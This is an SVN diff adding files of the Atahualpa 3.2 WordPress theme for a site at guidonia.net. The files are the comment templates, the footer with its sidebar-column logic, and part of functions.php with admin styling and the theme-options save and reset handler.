+			printf(__('%1$s at %2$s'), get_comment_date(__('F jS, Y','atahualpa')),  get_comment_time()) ?>
+			
+			<?php // Edit Comment Link
+			edit_comment_link(__('Edit','atahualpa'),'&nbsp;&nbsp;',''); ?>
+			
+			<?php // Comment Text
+			comment_text() ?>
+
+		</li>
+
+		<?php $oddcomment = ( empty( $oddcomment ) ) ? 'class="alt" ' : ''; 
+		
+		}
+		endforeach; 
+		}
+		// END of "Do this for every trackback / pingback "
+		?>
+	
+	</ol>
+	<!-- / Comment List -->
+
+	<!-- Comment page numbers -->
+	<?php if ($paged_comments->pager->num_pages() > 1): ?>
+	<p class="comment-page-numbers"><?php _e('Pages:','atahualpa'); ?> <?php paged_comments_print_pages(); ?></p>
+	<?php endif; ?>
+	<!-- End comment page numbers -->
+	
+<?php 
+// END of "If there ARE any comments"
+else : 
+// START of "If there are NO comments" 
+?>
+
+	<?php 
+	// If comments are open, but there are no comments:
+	if ('open' == $post->comment_status) : 
+	?>
+		<!-- .... -->
+
+	<?php 
+	// END of "If comments are open, but there are no comments"
+	else : 
+	// If comments are closed:
+	?>
+		<p><?php _e('Comments are closed.','atahualpa'); ?></p>
+	<?php endif; ?>
+
+<?php 
+// END of "If there are NO comments"
+endif; ?>
+
+<?php // If comments are open
+if ('open' == $post->comment_status) : ?>
+
+	<div id="respond">
+	<h3 class="reply"><?php _e('Leave a Reply','atahualpa'); ?></h3>
+		
+	<?php // If Login is required and User is not logged in 
+	if ( get_option('comment_registration') && !$user_ID ) : ?>
+	<p><?php printf(__('You must be %slogged in</a> to post a comment.', 'atahualpa'), '<a href="' . get_option('siteurl') . '/wp-login.php?redirect_to=' . urlencode(get_permalink()) . '">')?></p>
+
+	<?php // If Login is not required, or User is logged in 
+	else : ?>
+		
+		<!-- Comment Form -->
+		<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+
+			<?php // If User is logged in
+			if ( $user_ID ) : ?>
+			<p>
+			<?php printf(__('Logged in as %s.', 'atahualpa'), '<a href="' . get_option('siteurl') . '/wp-admin/profile.php">' . $user_identity . '</a>')?> 
+			<a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="<?php _e('Log out of this account','atahualpa'); ?>"><?php _e('Logout &raquo;','atahualpa'); ?></a>
+			</p>
+
+			<?php // If User is not logged in: Display the form fields "Name", "Email", "URL"
+			else : ?>
+			<p>
+			<input class="text author" type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="30" tabindex="1" />
+			<label for="<?php _e('author','atahualpa'); ?>"><?php _e('Name ','atahualpa'); if ($req) _e('(required)','atahualpa'); ?></label>
+			</p>
+			<p>
+			<input class="text email" type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="30" tabindex="2" />
+			<label for="<?php _e('email','atahualpa'); ?>"><?php _e('Mail (will not be published) ','atahualpa'); if ($req) _e('(required)','atahualpa'); ?></label>
+			</p>
+			<p>
+			<input class="text url" type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="30" tabindex="3" />
+			<label for="<?php _e('url','atahualpa'); ?>"><?php _e('Website','atahualpa'); ?></label>
+			</p>
+			<?php endif; ?>
+	
+		<!-- Display Quicktags or allowed XHTML Tags -->
+		<?php if (function_exists('lmbbox_comment_quicktags_display')) { echo "<p>"; lmbbox_comment_quicktags_display(); echo "</p>"; } 
+		else { if ($bfa_ata_show_xhtml_tags == "Yes") { ?>
+		<p class="thesetags clearfix"><?php printf(__('You can use %1$sthese HTML tags</a>','atahualpa'), '<a class="xhtmltags" href="#" onclick="return false;">'); ?></p>
+		<div class="xhtml-tags"><p><code><?php echo allowed_tags(); ?></code></p></div>
+		<?php } } ?>
+	
+		<!-- Comment Textarea -->
+		<p><textarea name="comment" id="comment" rows="10" cols="10" tabindex="4"></textarea></p>
+		<?php do_action('comment_form', $post->ID); ?>
+		
+		<!-- Submit -->
+		<p><input name="submit" type="submit" class="button" id="submit" tabindex="5" value="<?php _e('Submit Comment','atahualpa'); ?>" />
+		<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
+		</p>
+		
+		</form>
+		</div><!-- / respond -->
+		<!-- / Comment Form -->
+
+	<?php endif; ?>
+	<!-- / If Login is not required, or User is logged in -->
+	
+<?php endif; ?>
+<!-- If comments are open -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/comments.php	(revision 44)
@@ -0,0 +1,246 @@
+<?php // Do not delete these lines
+if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+	die (__('Please do not load this page directly. Thanks!','atahualpa'));
+if ( post_password_required() ) {
+	_e('This post is password protected. Enter the password to view comments.','atahualpa');
+	return;
+}
+
+	/* This variable is for alternating comment background */
+	#$oddcomment = 'class="alt" ';
+
+global $options;
+foreach ($options as $value) {
+if (get_option( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_option( $value['id'] ); } }
+?>
+<!-- You can start editing below: -->
+
+<?php // If there are any comments
+if ( have_comments() ) : ?>
+	
+	<h3 id="comments"><?php // Comment Area Title 
+	comments_number(__('No comments yet to ', 'atahualpa'), __('1 comment to ', 'atahualpa'), __('% comments to ', 'atahualpa')); echo get_the_title();
+	?>
+	</h3>
+	
+	
+	<?php 
+?>
+	
+
+				<?php // Next/Previous Comments Links 
+				// in next_comments_link "next" means newer 
+				// if navigation above comments is set
+				if ( strpos($bfa_ata_location_comments_next_prev,'Above')!==false ) {
+				// if any navigation links exist, paginated or next/previous:
+				if ( get_comment_pages_count() > 1 ) {
+					// Overall navigation container
+					echo '<div class="navigation-comments-above">';
+						// paginated links
+						if ($bfa_ata_next_prev_comments_pagination == "Yes") {
+							paginate_comments_links(array(
+							'prev_text' => bfa_escape($bfa_ata_comments_next_prev_older),
+							'next_text' => bfa_escape($bfa_ata_comments_next_prev_newer),
+							)); 
+						// next/previous links
+						} else {
+							echo '<div class="older">'; 
+							$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? 
+							previous_comments_link(bfa_escape($bfa_ata_comments_next_prev_older)) : 
+							next_comments_link(bfa_escape($bfa_ata_comments_next_prev_newer)); 
+							echo ' &nbsp;</div><div class="newer">&nbsp; ';
+							$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? 
+							next_comments_link(bfa_escape($bfa_ata_comments_next_prev_newer)) : 
+							previous_comments_link(bfa_escape($bfa_ata_comments_next_prev_older)); 
+							echo '</div>
+							<div style="clear:both"></div>';
+						}
+					echo '</div>'; 
+				} 
+				} ?>		
+				
+	<!-- Comment List -->
+	<ul class="commentlist">
+		
+		<!-- Do this for every comment -->
+		<?php if ($bfa_ata_separate_trackbacks == "Yes") {
+		wp_list_comments(array(
+					'avatar_size'=>$bfa_ata_avatar_size,
+					'reply_text'=>__(' &middot; Reply','atahualpa'),
+					'login_text'=>__('Log in to Reply','atahualpa'),
+					'walker' => new Walker_Comment2, 
+					'max_depth' => '', 
+					'style' => 'ul', 
+					'callback' => null, 
+					'end-callback' => null, 
+					'type' => 'comment',
+					'page' => '', 
+					'per_page' => '', 
+					'reverse_top_level' => null, 
+					'reverse_children' => ''
+				)); 
+		wp_list_comments(array(
+					'avatar_size'=>$bfa_ata_avatar_size,
+					'reply_text'=>__(' &middot; Reply','atahualpa'),
+					'login_text'=>__('Log in to Reply','atahualpa'),
+					'walker' => new Walker_Comment2, 
+					'max_depth' => '', 
+					'style' => 'ul', 
+					'callback' => null, 
+					'end-callback' => null, 
+					'type' => 'pings',
+					'page' => '', 
+					'per_page' => '', 
+					'reverse_top_level' => null, 
+					'reverse_children' => ''
+				)); 
+		} else {
+		wp_list_comments(array(
+					'avatar_size'=>$bfa_ata_avatar_size,
+					'reply_text'=>__(' &middot; Reply','atahualpa'),
+					'login_text'=>__('Log in to Reply','atahualpa'),
+					'walker' => new Walker_Comment2, 
+					'max_depth' => '', 
+					'style' => 'ul', 
+					'callback' => null, 
+					'end-callback' => null, 
+					'type' => 'all',
+					'page' => '', 
+					'per_page' => '', 
+					'reverse_top_level' => null, 
+					'reverse_children' => ''
+				)); 
+		}
+		?>
+	
+	</ul>
+	<!-- / Comment List -->
+	
+
+				<?php // Next/Previous Comments Links 
+				// in next_comments_link "next" means newer 
+				// if navigation below comments is set
+				if ( strpos($bfa_ata_location_comments_next_prev,'Below')!==false ) {
+				// if any navigation links exist, paginated or next/previous:
+				if ( get_comment_pages_count() > 1 ) {
+					// Overall navigation container				
+					echo '<div class="navigation-comments-below">';
+						// paginated links
+						if ($bfa_ata_next_prev_comments_pagination == "Yes") {
+							paginate_comments_links(array(
+							'prev_text' => bfa_escape($bfa_ata_comments_next_prev_older),
+							'next_text' => bfa_escape($bfa_ata_comments_next_prev_newer),
+							)); 
+						// next/previous links
+						} else {
+							echo '<div class="older">'; 
+							$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? 
+							previous_comments_link(bfa_escape($bfa_ata_comments_next_prev_older)) : 
+							next_comments_link(bfa_escape($bfa_ata_comments_next_prev_newer)); 
+							echo ' &nbsp;</div><div class="newer">&nbsp; ';
+							$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? 
+							next_comments_link(bfa_escape($bfa_ata_comments_next_prev_newer)) : 
+							previous_comments_link(bfa_escape($bfa_ata_comments_next_prev_older)); 
+							echo '</div>
+							<div style="clear:both"></div>';
+						}
+					echo '</div>'; 
+				} 
+				} ?>		
+
+
+<?php 
+// END of "If there ARE any comments"
+else : 
+// START of "If there are NO comments" 
+?>
+
+	<?php 
+	// If comments are open, but there are no comments:
+	if ('open' == $post->comment_status) : 
+	?>
+		<!-- .... -->
+
+	<?php 
+	// END of "If comments are open, but there are no comments"
+	else : 
+	// If comments are closed:
+	?>
+		<p><?php _e('Comments are closed.','atahualpa'); ?></p>
+	<?php endif; ?>
+
+<?php 
+// END of "If there are NO comments"
+endif; 
+?>
+
+<?php // If comments are open
+if ('open' == $post->comment_status) : ?>
+
+
+	<?php // If Login is required and User is not logged in 
+	if ( get_option('comment_registration') && !$user_ID ) : ?>
+	<p><?php printf(__('You must be %slogged in</a> to post a comment.', 'atahualpa'), '<a href="' . get_option('siteurl') . '/wp-login.php?redirect_to=' . urlencode(get_permalink()) . '">')?></p>		
+
+	<?php // If Login is not required, or User is logged in 
+	else : ?>
+		
+		<!-- Comment Form -->
+		<div id="respond">
+		
+		<h3 class="reply"><?php comment_form_title(  $noreplytext = __('Leave a Reply','atahualpa'), $replytext = __('Leave a Reply to %s','atahualpa'), $linktoparent = TRUE  ); ?></h3>
+	
+		<div id="cancel-comment-reply">
+		<?php cancel_comment_reply_link(__('Cancel','atahualpa')) ?>
+		</div>
+	
+		<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+
+			<?php // If User is logged in
+			if ( $user_ID ) : ?>
+			<p>
+			<?php printf(__('Logged in as %s.', 'atahualpa'), '<a href="' . get_option('siteurl') . '/wp-admin/profile.php">' . $user_identity . '</a>')?>			
+			<a href="<?php echo wp_logout_url(get_permalink()); ?>" title="<?php _e('Log out of this account','atahualpa'); ?>"><?php _e('Logout &raquo;','atahualpa'); ?></a>
+			</p>
+
+			<?php // If User is not logged in: Display the form fields "Name", "Email", "URL"
+			else : ?>
+			<p>
+			<input class="text author" type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="30" tabindex="1" />&nbsp;
+			<label for="<?php _e('author','atahualpa'); ?>"> <strong><?php _e('Name ','atahualpa'); echo "</strong>"; if ($req) _e('(required)','atahualpa'); ?></label>
+			</p>
+			<p>
+			<input class="text email" type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="30" tabindex="2" />&nbsp;
+			<label for="<?php _e('email','atahualpa'); ?>"> <strong><?php _e('Mail</strong> (will not be published) ','atahualpa'); if ($req) _e('(required)','atahualpa'); ?></label>
+			</p>
+			<p>
+			<input class="text url" type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="30" tabindex="3" />&nbsp;
+			<label for="<?php _e('url','atahualpa'); ?>"> <?php _e('Website','atahualpa'); ?></label>
+			</p>
+			<?php endif; ?>
+	
+		<!-- Display Quicktags or allowed XHTML Tags -->
+		<?php if (function_exists('lmbbox_comment_quicktags_display')) { echo "<p>"; lmbbox_comment_quicktags_display(); echo "</p>"; } 
+		else { if ($bfa_ata_show_xhtml_tags == "Yes") {	?>
+		<p class="thesetags clearfix"><?php printf(__('You can use %1$sthese HTML tags</a>','atahualpa'), '<a class="xhtmltags" href="#" onclick="return false;">'); ?></p>
+		<div class="xhtml-tags"><p><code><?php echo allowed_tags(); ?></code></p></div>
+		<?php }	} ?>
+	
+		<!-- Comment Textarea -->
+		<p><textarea name="comment" id="comment" rows="10" cols="10" tabindex="4"></textarea></p>
+		<?php do_action('comment_form', $post->ID); ?>
+		
+		<!-- Submit -->
+		<p><input name="submit" type="submit" class="button" id="submit" tabindex="5" value="<?php _e('Submit Comment','atahualpa'); ?>" />
+		<?php comment_id_fields(); ?>
+		</p>
+		
+		</form>
+		</div><!-- / respond -->
+		<!-- / Comment Form -->
+
+	<?php endif; ?>
+	<!-- / If Login is not required, or User is logged in -->
+	
+<?php endif; ?>
+<!-- If comments are open -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/footer.php	(revision 44)
@@ -0,0 +1,109 @@
+<?php
+global $options;
+foreach ($options as $value) { if (get_option( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_option( $value['id'] ); } }
+// figure out sidebars
+global $cols;
+$cols = 1;
+if ( is_page() ) {
+#$current_page_id = $wp_query->get('page_id');
+$current_page_id = $wp_query->get_queried_object_id();
+	if ($bfa_ata_left_col_pages_exclude != "") { 
+	$pages_exlude_left = explode(",", str_replace(" ", "", $bfa_ata_left_col_pages_exclude));
+		if ( $bfa_ata_leftcol_on['page'] && !in_array($current_page_id, $pages_exlude_left) ) {
+		$cols++; $left_col = "on"; }
+	} else {
+		if ( $bfa_ata_leftcol_on['page'] ) {
+		$cols++; $left_col = "on"; }
+	}
+	if ($bfa_ata_right_col_pages_exclude != "") { 
+	$pages_exlude_right = explode(",", str_replace(" ", "", $bfa_ata_right_col_pages_exclude));
+		if ( $bfa_ata_rightcol_on['page'] && !in_array($current_page_id, $pages_exlude_right) ) {
+		$cols++; $right_col = "on"; }
+	} else {
+		if ( $bfa_ata_rightcol_on['page'] ) {
+		$cols++; $right_col = "on"; }
+	}
+} elseif ( is_category() ) {
+$current_cat_id = get_query_var('cat');
+	if ($bfa_ata_left_col_cats_exclude != "") {
+	$cats_exlude_left = explode(",", str_replace(" ", "", $bfa_ata_left_col_cats_exclude));
+		if ( $bfa_ata_leftcol_on['category'] && !in_array($current_cat_id, $cats_exlude_left) ) {
+		$cols++; $left_col = "on"; }
+	} else {
+		if ( $bfa_ata_leftcol_on['category'] ) {
+		$cols++; $left_col = "on"; }
+	}
+	if ($bfa_ata_right_col_cats_exclude != "") {
+	$cats_exlude_right = explode(",", str_replace(" ", "", $bfa_ata_right_col_cats_exclude));
+		if ( $bfa_ata_rightcol_on['category'] && !in_array($current_cat_id, $cats_exlude_right) ) {
+		$cols++; $right_col = "on"; }
+	} else {
+		if ( $bfa_ata_rightcol_on['category'] ) {
+		$cols++; $right_col = "on"; }
+	}
+} else {
+if ( (is_home() && $bfa_ata_leftcol_on['homepage']) || ( is_front_page() && $bfa_ata_leftcol_on['frontpage']) || 
+( is_single() && $bfa_ata_leftcol_on['single']) || ( is_date() && $bfa_ata_leftcol_on['date']) || 
+( is_tag() && $bfa_ata_leftcol_on['tag']) || ( is_search() && $bfa_ata_leftcol_on['search']) || 
+( is_author() && $bfa_ata_leftcol_on['author']) || ( is_404() && $bfa_ata_leftcol_on['404']) || 
+( is_attachment() && $bfa_ata_leftcol_on['attachment']) ) {
+	$cols++; $left_col = "on"; 
+	}
+if ( (is_home() && $bfa_ata_rightcol_on['homepage']) || ( is_front_page() && $bfa_ata_rightcol_on['frontpage']) || 
+( is_single() && $bfa_ata_rightcol_on['single']) || ( is_date() && $bfa_ata_rightcol_on['date']) || 
+( is_tag() && $bfa_ata_rightcol_on['tag']) || ( is_search() && $bfa_ata_rightcol_on['search']) || 
+( is_author() && $bfa_ata_rightcol_on['author']) || ( is_404() && $bfa_ata_rightcol_on['404']) || 
+( is_attachment() && $bfa_ata_rightcol_on['attachment']) ) {
+	$cols++; $right_col = "on"; 
+	}
+}
+?>
+		</td>
+		<!-- / Main Column -->	
+
+		<?php if ( $right_col == "on" ) { ?>
+		<!-- Right Sidebar -->
+		<td id="right">
+
+			<?php // Widgetize the Right Sidebar 
+			if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(2) ) : echo "To put some content here, go to Site Admin -> Appearance/Presentation -> Widgets -> Select \"Right Sidebar\" -> Click \"Show\" -> Click on \"Add\" on one of the widgets on the left side -> Click \"Save changes\" -> Done";
+			endif; ?>
+
+		</td>
+		<!-- / Right Sidebar -->
+		<?php } ?>
+
+	</tr>
+	<!-- / Main Body -->
+
+	<tr>
+
+		<!-- Footer -->
+		<td id="footer" colspan="<?php echo $cols; ?>">	
+
+		<p>
+		<?php echo bfa_footer($bfa_ata_footer_style_content); ?>
+		</p>
+		<?php if ($bfa_ata_footer_show_queries == "Yes - visible") { ?>
+		<p>
+		<?php echo $wpdb->num_queries; ?><?php _e(' queries. ','atahualpa'); ?><?php timer_stop(1); ?><?php _e(' seconds.','atahualpa'); ?>
+		</p>
+		<?php } ?>
+		
+		<?php if ($bfa_ata_footer_show_queries == "Yes - in source code") { ?>
+		<!--
+		<?php echo $wpdb->num_queries; ?><?php _e(' queries. ','atahualpa'); ?><?php timer_stop(1); ?><?php _e(' seconds.','atahualpa'); ?>
+		-->
+		<?php } ?>		
+	
+		<?php wp_footer(); ?>
+		</td>
+		<!-- / Footer -->
+		
+	</tr>
+</table><!-- / layout -->
+</div><!-- / container -->
+</div><!-- / wrapper -->
+<?php echo ($bfa_ata_html_inserts_body_bottom != "" ? apply_filters(widget_text, $bfa_ata_html_inserts_body_bottom) : ''); ?>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions.php	(revision 44)
@@ -0,0 +1,688 @@
+<?php
+# Load translation file if available
+load_theme_textdomain('atahualpa');
+# Sidebars:
+if ( function_exists('register_sidebar') ) {
+    register_sidebar(array(
+        'name'=>'Left Sidebar',
+        'before_widget' => '<div id="%1$s" class="widget %2$s">',
+        'after_widget' => '</div></div>',
+        'before_title' => '<div class="widget-title"><h3>',
+        'after_title' => '</h3></div><div class="widget-content">',
+    ));
+    register_sidebar(array(
+         'name'=>'Right Sidebar',
+        'before_widget' => '<div id="%1$s" class="widget %2$s">',
+        'after_widget' => '</div></div>',
+        'before_title' => '<div class="widget-title"><h3>',
+        'after_title' => '</h3></div><div class="widget-content">',
+    )); 
+} 
+# Load functions
+include (TEMPLATEPATH . '/functions/bfa_header_config.php');
+include (TEMPLATEPATH . '/functions/bfa_hor_cats.php');
+include (TEMPLATEPATH . '/functions/bfa_hor_pages.php');
+include (TEMPLATEPATH . '/functions/bfa_footer.php');
+include (TEMPLATEPATH . '/functions/bfa_recent_comments.php');
+include (TEMPLATEPATH . '/functions/bfa_popular_posts.php');
+include (TEMPLATEPATH . '/functions/bfa_popular_in_cat.php');
+include (TEMPLATEPATH . '/functions/bfa_subscribe.php');
+include (TEMPLATEPATH . '/functions/bfa_text_widget.php');
+include (TEMPLATEPATH . '/functions/bfa_search_widget.php');
+include (TEMPLATEPATH . '/functions/bfa_calendar_widget.php');
+if (!function_exists('paged_comments')) { include (TEMPLATEPATH . '/functions/bfa_comment_walker.php'); }
+if (function_exists('sociable_html')) { include (TEMPLATEPATH . '/functions/bfa_sociable2.php'); }
+// find in directory function, needed for header images on WPMU
+if (file_exists(ABSPATH."/wpmu-settings.php")) {include (TEMPLATEPATH . '/functions/bfa_m_find_in_dir.php');}
+# Add admin page CSS
+function bfa_add_stuff_admin_head() {
+    $url_base = get_bloginfo('template_directory');
+	// add jquery function only to theme page or widgets won't work in 2.3 and older
+	if ( $_GET['page'] == basename(__FILE__) ) { 
+	echo "<script src=\"$url_base/options/jscolor/jscolor.js\" type=\"text/javascript\"></script>\n";
+	echo "<style type=\"text/css\">\n";
+	echo "div.tabcontent { height: auto; border: none; margin: 0; padding: 0; display:none; /*overflow: visible;*/ width: auto} \n"; 
+	echo ".bfa-container { width: 100%; border: solid 3px #C6D9E9; background-color: #E4F2FD; margin: 10px auto; padding: 0; \n";
+	echo "-moz-border-radius: 5px; -khtml-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px;	}\n";
+	echo ".bfa-container ul {list-style: circle url('" . get_bloginfo('template_directory') . "/options/images/list-arrow.gif') !important; margin: 1em 1em 1em 2em;} \n";
+	echo ".bfa-container-left { display: block; float: left; text-align: right; width: 35%; border-right: solid 1px #C6D9E9; margin: 0; padding: 10px; }\n";
+	echo ".bfa-container-right { display: block; float: right; width: 58%; margin: 0; padding: 10px; }\n";
+	echo ".bfa-container-full { /*display:block;*/ width: auto; margin: 0; padding: 10px; }\n";
+	echo ".bfa-container h2 { font-size: 1.5em; color: #666; margin:0; padding: 3px; border: none}\n";
+	echo ".bfa-container input { text-align: right }\n";
+	echo ".bfa-container label { font-size: 16px; font-weight: bold; color: #444; }\n";
+	echo ".bfa-container input, .bfa-container-left textarea, .bfa-container-left select { margin: 7px 0 4px 7px}\n";
+	echo "ul#bfaoptiontabs {text-align: left;list-style-type: none; margin: 10px 0 0 0; padding: 0; -moz-padding-start: 0}\n";
+	echo "ul#bfaoptiontabs li {display: inline; list-style-type: none; padding-top: 5px; }\n";
+	echo "ul#bfaoptiontabs li a:link, ul#bfaoptiontabs li a:visited, ul#bfaoptiontabs li a:active {display: -moz-inline-box; display: inline-block; white-space: nowrap; outline: 0; text-decoration: none; position: relative; z-index: 1; padding: 2px 6px; \n";
+	echo "margin-right: 0px; margin-top: 3px; border: 2px solid #C6D9E9; font-size: 1.1em; color: #2582a9; background-color: #E4F2FD; /*line-height: 22px; height: 22px;*/\n";
+	echo "-moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px;}\n";
+	echo "ul#bfaoptiontabs li a:hover {border: 2px solid #D54E21; background-color: #ffffff; color: #D54E21; }\n";
+	echo "ul#bfaoptiontabs li a.selected {border: 2px solid #883215; background-color: #D54E21; color: #ffffff !important; outline: 0}\n";
+	echo "table.bfa-optiontable-layout {width: 100%; }\n";
+	echo "table.bfa-optiontable {text-align: left; white-space: wrap; background-color: #f1f9fe; border-collapse: collapse; border: solid 1px #c4e2fb }\n";
+	echo "table.bfa-optiontable input {margin: 0 2px 0 2px; padding: 2px; text-align: left }\n";
+	echo "table.bfa-optiontable input.color {text-align: right }\n";
+	echo "table.bfa-optiontable thead tr td {line-height: 11px; }\n";
+	echo "table.bfa-optiontable-layout td {vertical-align:top; }\n";
+	echo "table.bfa-optiontable td {vertical-align:middle; padding: 1px 3px}\n";
+	echo "table.bfa-optiontable thead td {text-align: center; background-color: #c4e2fb; font-weight: bold; padding: 5px; }\n";
+	echo "div.more_blog_title_font { display: none }\n";
+	echo "div.more_show_header_image { display: none }\n";
+	echo "h4 {font-size: 18px; font-family:\"Courier New\", Courier, monospace; margin-bottom: 5px}\n";
+	echo "code {background: #ffffff; padding-left: 5px; padding-right: 5px;}\n";
+	echo "i {color: red; font-style: normal; font-weight: bold;}\n";
+	echo "input.save-tab { line-height: normal !important; font-size: 5em !important; padding: 5px 20px 10px 75px; border: solid 5px #063; background: #009d4f url('" . get_bloginfo('template_directory') . "/options/images/save.png') no-repeat 5% 50% !important; color: #fff; text-align: center; font-weight: bold;}\n";
+	echo "input.save-tab:hover { border: solid 5px #88d87a; background: #063 url('" . get_bloginfo('template_directory') . "/options/images/save.png') 5% 50% no-repeat !important; color: #fff; }\n";
+	echo "input.reset-tab { line-height: normal !important; font-size: 2em !important; padding: 5px 10px 5px 45px; border: solid 3px #800; background: #c30 url('" . get_bloginfo('template_directory') . "/options/images/reset.png') no-repeat 5% 50% !important; background-image: none; color: #fff; text-align: center; font-weight: bold;}\n";
+	echo "input.reset-tab:hover { border: solid 3px #ff9393; background: #800 url('" . get_bloginfo('template_directory') . "/options/images/reset.png') 5% 50% no-repeat !important; color: #fff; }\n";
+	echo "input.reset-all { line-height: normal !important; font-size: 1.5em !important; padding: 5px 10px 5px 45px; border: solid 3px #555; background: #777 url('" . get_bloginfo('template_directory') . "/options/images/reset-all-gray.png') no-repeat 5% 50% !important; background-image: none; color: #ddd; text-align: center; font-weight: bold;}\n";
+	echo "input.reset-all:hover { border: solid 3px #ff9393; background: #800 url('" . get_bloginfo('template_directory') . "/options/images/reset-all.png') 5% 50% no-repeat !important; color: #fff; }\n";
+	echo "p.submit { text-align: center; }\n";
+	echo "</style>\n";
+	echo "<script LANGUAGE=\"JavaScript\">\n";
+	echo "<!--\n";
+	echo "function confirmSubmit()\n";
+	echo "{\n";
+	echo "var agree=confirm(\"Are you sure? This will reset ALL theme options.\");\n";
+	echo "if (agree) return true ;\n";
+	echo "else return false ;\n";
+	echo "}\n";
+	echo "// -->\n";
+	echo "</script>\n";
+	// add jquery to WP 2.3 and older
+	if ( substr(get_bloginfo('version'), 0, 3) < 2.5 ) {   
+	echo "<script type=\"text/javascript\" src=\"$url_base/js/jquery-1.2.6.min.js\"></script>\n";
+	}
+	echo "<script type=\"text/javascript\" src=\"$url_base/options/tabcontent/tabcontent.js\">\n";
+	echo "/***********************************************\n";
+	echo "* Tab Content script v2.2- © Dynamic Drive DHTML code library (www.dynamicdrive.com)\n";
+	echo "* This notice MUST stay intact for legal use\n";
+	echo "* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code\n";
+	echo "***********************************************/\n";
+	echo "</script>\n";
+	}
+}
+add_action('admin_head', 'bfa_add_stuff_admin_head');
+?>
+<?php
+// Escape single & double quotes
+function bfa_escape($string) {
+	$string = str_replace('"', '&#34;', $string);
+	$string = str_replace("'", '&#39;', $string);
+	return $string;
+}
+// change them back
+function bfa_unescape($string) {
+	$string = str_replace('&#34;', '"', $string);
+	$string = str_replace('&#39;', "'", $string);
+	return $string;
+}
+function bfa_escapelt($string) {
+	$string = str_replace('<', '&lt;', $string);
+	$string = str_replace('>', '&gt;', $string);
+	return $string;
+}
+?>
+<?php
+// get the theme options
+$stylesheet_directory = get_bloginfo('template_directory');
+include (TEMPLATEPATH . '/functions/bfa_theme_options.php');
+
+function mytheme_add_admin() {
+    global $themename, $shortname, $options;
+    if ( $_GET['page'] == basename(__FILE__) ) {
+        if ( 'save' == $_REQUEST['action'] ) {
+ 
+			foreach ($options as $value) {
+				if ( $value['category'] == $_REQUEST['category'] ) {
+					if ( $value['escape'] == "yes" ) {  
+						update_option( $value['id'], stripslashes(bfa_escape($_REQUEST[ $value['id'] ] )));  
+					} elseif ( $value['stripslashes'] == "no" ) {   
+						update_option( $value['id'], $_REQUEST[ $value['id'] ] ); 
+					} else {
+						update_option( $value['id'], stripslashes($_REQUEST[ $value['id'] ] )); 
+					}
+				}
+			}
+				
+            foreach ($options as $value) {
+				if ( $value['category'] == $_REQUEST['category'] ) {
+					if ( $value['escape'] == "yes" ) {
+						if( isset( $_REQUEST[ $value['id'] ] ) ) { 
+							update_option( $value['id'], stripslashes(bfa_escape($_REQUEST[ $value['id'] ]  ))); 
+						} else { 
+							delete_option( $value['id'] ); 
+						} 
+					} elseif ($value['stripslashes'] == "no") { 
+						if( isset( $_REQUEST[ $value['id'] ] ) ) { 
+							update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); 
+						} else { 
+							delete_option( $value['id'] ); 
+						} 
+					} else { 
+						if( isset( $_REQUEST[ $value['id'] ] ) ) { 
+							update_option( $value['id'], stripslashes($_REQUEST[ $value['id'] ]  )); 
+						} else { 
+							delete_option( $value['id'] ); 
+						} 
+					} 
+				}
+			} 
+				
+            header("Location: themes.php?page=functions.php&saved=true");
+            die;
+
+		} else if( 'reset' == $_REQUEST['action'] ) {
+            foreach ($options as $value) {
+				if ( $value['category'] == $_REQUEST['category'] OR "reset-all" == $_REQUEST['category'] ) {
+					delete_option( $value['id'] ); 
+					}
+				}
+            header("Location: themes.php?page=functions.php&reset=true");
+            die;
+        }
+    }
+    add_theme_page($themename. " Options", "Atahualpa Theme Options", 'edit_themes', basename(__FILE__), 'mytheme_admin');
+}
+
+function mytheme_admin() {
+    global $themename, $shortname, $options;
+    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename. ' settings saved.</strong></p></div>';
+    if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename. ' settings reset.</strong></p></div>';
+?>
+<?php 
+#
+$theme_name = "Atahualpa";
+$theme_version = "3.2";
+#
+$border_styles = array("solid", "dotted", "dashed", "double", "groove", "ridge", "inset", "outset");
+$background_repeat = array("vertic. and horiz.", "vertically", "horizontally", "don't repeat");
+$background_position = array("top left", "top center", "top right", "center left", "center center", "center right", "bottom left", "bottom center", "bottom right");
+$background_attachment = array("scroll", "fixed");
